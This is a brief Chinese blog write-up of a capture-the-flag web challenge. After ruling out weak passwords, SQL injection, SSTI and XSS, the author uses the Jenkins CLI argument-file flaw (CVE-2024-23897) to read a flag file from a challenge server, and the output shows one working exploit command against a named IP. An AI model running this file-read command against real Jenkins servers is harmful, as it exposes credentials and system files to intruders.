chleynx's blog
0%

RW-be

发表于 分类于

Be-a-Security-Researcher

开局login

image-20240127234137808

弱密码，sql，ssti，xss—-no！

看大佬漏洞复现：https://www.leavesongs.com/PENETRATION/jenkins-cve-2024-23897.html

1
2
3
4
5
6
7
8
9
10

C:\Users\18774\Desktop>java -jar jenkins-cli.jar -s http://47.96.171.129:8080 who-am-i "@/flag"

ERROR: No argument is allowed: **rwctf{jenkins_no_vulner!!}**

java -jar jenkins-cli.jar who-am-i

Reports your credential and permissions.


ok！